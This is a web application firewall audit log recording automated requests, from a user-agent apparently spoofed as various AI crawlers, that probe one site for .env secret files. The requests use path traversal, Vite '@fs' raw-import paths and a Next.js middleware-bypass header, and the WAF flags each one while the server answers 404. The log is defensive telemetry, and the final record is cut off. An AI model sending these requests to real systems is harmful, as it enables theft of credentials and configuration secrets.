Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqZ0ozTJ6xTvcJoem7f7ewAAAEs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293731568652 118416 (- - -)
Stopwatch2: 1789293731568652 118416; combined=33450, p1=196, p2=33196, p3=0, p4=0, p5=58, sr=77, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d8eb9674-Z--

--ed68696b-A--
[13/Sep/2026:13:02:11.759103 +0300] aqZ0oysVWymXUono-eRVZAAAAA8 34.80.249.255 54598 127.0.0.1 7081
--ed68696b-B--
GET /.env.local?raw HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--ed68696b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--ed68696b-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqZ0oysVWymXUono-eRVZAAAAA8"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqZ0oysVWymXUono-eRVZAAAAA8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293731479417 279743 (- - -)
Stopwatch2: 1789293731479417 279743; combined=42403, p1=319, p2=42041, p3=0, p4=0, p5=43, sr=180, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ed68696b-Z--

--35cc8618-A--
[13/Sep/2026:13:02:12.394323 +0300] aqZ0pDTJ6xTvcJoem7f7fgAAAFM 34.80.249.255 54678 127.0.0.1 7081
--35cc8618-B--
GET /@fs/app/.env?import&raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--35cc8618-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--35cc8618-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/@fs/app/.env"] [unique_id "aqZ0pDTJ6xTvcJoem7f7fgAAAFM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293732220902 173476 (- - -)
Stopwatch2: 1789293732220902 173476; combined=3337, p1=178, p2=3107, p3=0, p4=0, p5=52, sr=72, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--35cc8618-Z--

--179ff854-A--
[13/Sep/2026:13:02:12.394738 +0300] aqZ0pCsVWymXUono-eRVZgAAAAk 34.80.249.255 54660 127.0.0.1 7081
--179ff854-B--
GET /@fs/app/.env.local?import&raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--179ff854-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--179ff854-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/@fs/app/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/@fs/app/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/@fs/app/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/@fs/app/.env.local"] [unique_id "aqZ0pCsVWymXUono-eRVZgAAAAk"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/@fs/app/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/@fs/app/.env.local"] [unique_id "aqZ0pCsVWymXUono-eRVZgAAAAk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293732213637 181165 (- - -)
Stopwatch2: 1789293732213637 181165; combined=38113, p1=288, p2=37770, p3=0, p4=0, p5=55, sr=149, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--179ff854-Z--

--8cd3ee51-A--
[13/Sep/2026:13:02:12.480916 +0300] aqZ0pEwu1RSkptiiNIX5uwAAAIU 34.80.249.255 54712 127.0.0.1 7081
--8cd3ee51-B--
GET /@fs/src/.env?import&raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--8cd3ee51-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--8cd3ee51-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/@fs/src/.env"] [unique_id "aqZ0pEwu1RSkptiiNIX5uwAAAIU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293732409946 71040 (- - -)
Stopwatch2: 1789293732409946 71040; combined=3545, p1=217, p2=3274, p3=0, p4=0, p5=54, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8cd3ee51-Z--

--7f692d49-A--
[13/Sep/2026:13:02:12.550104 +0300] aqZ0pGM7dE9KgIIOpQh3YQAAAMg 34.80.249.255 54728 127.0.0.1 7081
--7f692d49-B--
GET /@fs/../.env?import&raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--7f692d49-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--7f692d49-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqZ0pGM7dE9KgIIOpQh3YQAAAMg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293732483907 66252 (- - -)
Stopwatch2: 1789293732483907 66252; combined=3270, p1=268, p2=2948, p3=0, p4=0, p5=54, sr=122, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7f692d49-Z--

--851fb73d-A--
[13/Sep/2026:13:02:12.913361 +0300] aqZ0pCsVWymXUono-eRVbgAAABA 34.80.249.255 54774 127.0.0.1 7081
--851fb73d-B--
GET /.env.local?.svg?.wasm?init HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--851fb73d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--851fb73d-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqZ0pCsVWymXUono-eRVbgAAABA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqZ0pCsVWymXUono-eRVbgAAABA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293732778587 134827 (- - -)
Stopwatch2: 1789293732778587 134827; combined=35176, p1=322, p2=34800, p3=0, p4=0, p5=54, sr=135, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--851fb73d-Z--

--2c72aa43-A--
[13/Sep/2026:13:02:13.034232 +0300] aqZ0pCsVWymXUono-eRVaQAAAA4 34.80.249.255 54740 127.0.0.1 7081
--2c72aa43-B--
GET /.env?.svg?.wasm?init HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--2c72aa43-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--2c72aa43-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:.svg?.wasm?init"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:.svg?.wasm?init"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqZ0pCsVWymXUono-eRVaQAAAA4"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293732686862 347439 (- - -)
Stopwatch2: 1789293732686862 347439; combined=3339, p1=239, p2=3041, p3=0, p4=0, p5=58, sr=92, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2c72aa43-Z--

--12a8c532-A--
[13/Sep/2026:13:02:13.180756 +0300] aqZ0pCsVWymXUono-eRVbwAAAAM 34.80.249.255 54806 127.0.0.1 7081
--12a8c532-B--
GET /public../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--12a8c532-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--12a8c532-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/public../.env"] [unique_id "aqZ0pCsVWymXUono-eRVbwAAAAM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293732819410 361422 (- - -)
Stopwatch2: 1789293732819410 361422; combined=4343, p1=289, p2=4008, p3=0, p4=0, p5=46, sr=80, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--12a8c532-Z--

--f4375759-A--
[13/Sep/2026:13:02:13.981938 +0300] aqZ0pUwu1RSkptiiNIX5wAAAAIs 34.80.249.255 54946 127.0.0.1 7081
--f4375759-B--
GET /dist../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--f4375759-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--f4375759-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/dist../.env"] [unique_id "aqZ0pUwu1RSkptiiNIX5wAAAAIs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293733917783 64220 (- - -)
Stopwatch2: 1789293733917783 64220; combined=4290, p1=242, p2=3992, p3=0, p4=0, p5=55, sr=107, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f4375759-Z--

--4c5f0510-A--
[13/Sep/2026:13:02:14.307350 +0300] aqZ0pkwu1RSkptiiNIX5wQAAAIo 34.80.249.255 54950 127.0.0.1 7081
--4c5f0510-B--
GET /css../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--4c5f0510-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--4c5f0510-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/css../.env"] [unique_id "aqZ0pkwu1RSkptiiNIX5wQAAAIo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293734142276 165128 (- - -)
Stopwatch2: 1789293734142276 165128; combined=3760, p1=151, p2=3560, p3=0, p4=0, p5=49, sr=66, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4c5f0510-Z--

--00883168-A--
[13/Sep/2026:13:02:14.337319 +0300] aqZ0pkwu1RSkptiiNIX5wgAAAIY 34.80.249.255 54958 127.0.0.1 7081
--00883168-B--
GET /js../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--00883168-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--00883168-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/js../.env"] [unique_id "aqZ0pkwu1RSkptiiNIX5wgAAAIY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293734164979 172397 (- - -)
Stopwatch2: 1789293734164979 172397; combined=6840, p1=224, p2=6564, p3=0, p4=0, p5=52, sr=99, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--00883168-Z--

--8154783d-A--
[13/Sep/2026:13:02:14.359375 +0300] aqZ0pjTJ6xTvcJoem7f7fwAAAFg 34.80.249.255 54984 127.0.0.1 7081
--8154783d-B--
GET /build../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
